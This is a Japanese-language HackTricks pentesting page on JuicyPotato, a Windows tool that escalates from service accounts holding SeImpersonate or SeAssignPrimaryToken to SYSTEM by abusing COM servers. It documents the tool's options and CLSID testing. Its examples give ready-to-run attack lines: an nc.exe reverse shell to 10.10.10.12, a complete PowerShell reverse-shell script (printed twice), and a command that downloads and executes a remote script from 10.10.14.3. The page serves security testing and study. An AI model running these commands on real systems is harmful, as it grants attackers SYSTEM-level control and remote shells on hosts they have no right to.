13 KiB
JuicyPotato
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはテレグラムグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するために、hacktricks repo と hacktricks-cloud repo にPRを提出してください。
{% hint style="warning" %}
JuicyPotatoはWindows Server 2019とWindows 10ビルド1809以降では動作しません。ただし、PrintSpoofer、RoguePotato、SharpEfsPotatoを使用して、同じ特権を利用してNT AUTHORITY\SYSTEM
レベルのアクセスを取得することができます。チェック:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (黄金特権の悪用)
_RottenPotatoNG_の砂糖を加えたバージョンで、つまりWindowsサービスアカウントからNT AUTHORITY\SYSTEMへのローカル特権エスカレーションツールです。
juicypotatoはhttps://ci.appveyor.com/project/ohpe/juicy-potato/build/artifactsからダウンロードできます。
概要
RottenPotatoNGとそのバリエーションは、BITS
サービスに基づく特権エスカレーションチェーンを利用します。MiTMリスナーは127.0.0.1:6666
で動作し、SeImpersonate
またはSeAssignPrimaryToken
の特権を持っている場合に使用されます。Windowsビルドのレビュー中に、意図的にBITS
が無効にされ、ポート6666
が使用されているセットアップを見つけました。
RottenPotatoNGを武器化することにしました:Juicy Potatoをご紹介します。
理論については、Rotten Potato - サービスアカウントからSYSTEMへの特権エスカレーションを参照し、リンクと参照の連鎖をたどってください。
私たちは、BITS
以外にも悪用できるいくつかのCOMサーバーがあることを発見しました。これらのサーバーは次の条件を満たす必要があります。
- 現在のユーザーによってインスタンス化可能であること(通常は「サービスユーザー」で、模倣特権を持っています)
IMarshal
インターフェースを実装すること- 昇格されたユーザー(SYSTEM、Administratorなど)として実行すること
いくつかのテストの結果、いくつかのWindowsバージョンで興味深いCLSIDのリストを取得し、テストしました。
Juicyの詳細
JuicyPotatoを使用すると、次のことができます。
- ターゲットのCLSID 好きなCLSIDを選択します。 ここ でOSごとに整理されたリストを見つけることができます。
- COMリスニングポート マーシャリングされたハードコードされた6666の代わりに、好きなCOMリスニングポートを定義します。
- COMリスニングIPアドレス サーバーを任意のIPにバインドします。
- プロセス作成モード 模倣されたユーザーの特権に応じて、次から選択できます。
CreateProcessWithToken
(SeImpersonate
が必要)CreateProcessAsUser
(SeAssignPrimaryToken
が必要)both
- 起動するプロセス エクスプロイトが成功した場合に実行する実行可能ファイルまたはスクリプトを起動します。
- プロセス引数 起動するプロセスの引数をカスタマイズします。
- RPCサーバーアドレス ステルスアプローチのために、外部のRPCサーバーに認証することができます。
- RPCサーバーポート 外部サーバーに認証する場合に便利ですが、ファイアウォールがポート
135
をブロックしている場合... - テストモード 主にテスト目的で使用します。つまり、CLSIDのテストです。DCOMを作成し、トークンのユーザーを表示します。テストについては こちらを参照してください
使用方法
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
最終的な考え
ユーザーが SeImpersonate
または SeAssignPrimaryToken
特権を持っている場合、あなたは SYSTEM です。
これらのすべての COM サーバーの乱用を防ぐことはほぼ不可能です。DCOMCNFG
を介してこれらのオブジェクトのアクセス許可を変更することを考えることができますが、がんばってください、これは困難になるでしょう。
実際の解決策は、* SERVICE
アカウントで実行される機密アカウントとアプリケーションを保護することです。DCOM
を停止すると、このエクスプロイトは確かに阻止されますが、基になる OS に重大な影響を与える可能性があります。
参照元: http://ohpe.it/juicy-potato/
例
注意: 試すための CLSID のリストについては、このページを参照してください。
nc.exe の逆シェルを取得する
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
Powershellのrev
$socket = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 1234)
$stream = $socket.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$socket.Close()
Powershellのrev
$socket = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 1234)
$stream = $socket.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$socket.Close()
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
新しいCMDを起動する(RDPアクセスがある場合)
CLSIDの問題
しばしば、JuicyPotatoが使用するデフォルトのCLSIDは機能しないため、エクスプロイトが失敗します。通常、動作するCLSIDを見つけるために複数の試行が必要です。特定のオペレーティングシステムに対して試すためのCLSIDのリストを取得するには、次のページを参照してください:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
CLSIDの確認
まず、juicypotato.exe以外のいくつかの実行可能ファイルが必要です。
Join-Object.ps1をダウンロードし、PSセッションにロードし、GetCLSID.ps1をダウンロードして実行します。このスクリプトは、テストする可能性のあるCLSIDのリストを作成します。
次に、test_clsid.bat(CLSIDリストとjuicypotato実行可能ファイルのパスを変更してください)をダウンロードして実行します。すべてのCLSIDを試し始め、ポート番号が変わると、CLSIDが機能したことを意味します。
パラメータ -c を使用して、動作するCLSIDを確認します。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。